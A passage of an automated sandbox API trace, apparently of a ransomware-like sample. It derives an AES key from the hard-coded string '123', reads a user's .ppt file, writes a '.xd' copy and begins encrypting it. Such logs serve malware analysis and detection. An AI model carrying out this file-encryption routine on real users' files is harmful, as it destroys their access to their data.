wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.848] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.848] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.848] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.848] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.849] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.849] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.849] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.849] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.849] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.849] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.849] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.849] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.849] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.850] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.850] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.850] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.850] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.850] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.850] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.850] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.850] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.869] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.869] CryptCreateHash (in: hProv=0x17aa450, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.870] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.870] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.870] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.870] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.870] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.870] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.870] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.870] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.870] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.870] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.871] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.871] CryptHashData (hHash=0x164c3f0, pbData=0x1629380, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.871] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.871] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.871] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.871] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.871] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.871] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.871] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.871] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.871] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.871] CryptDeriveKey (in: hProv=0x17aa450, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0072.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.872] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.872] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.872] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.873] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.873] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0072.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.873] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\hjbyc1jx7mryr-w.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.874] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.874] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.874] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.874] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.874] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.874] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0072.875] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\hjbyc1jx7mryr-w.ppt.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.877] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.877] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.877] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.877] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.879] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.879] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.882] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x316d, lpOverlapped=0x0) returned 1 [0072.882] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.886] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.887] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.887] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.887] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.887] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.887] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.887] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.888] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.888] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.888] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.888] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629380, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629380*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.888] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.888] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.888] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.889] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.889] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.889] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.889] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.889] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.889] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.889] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.890] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.890] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, 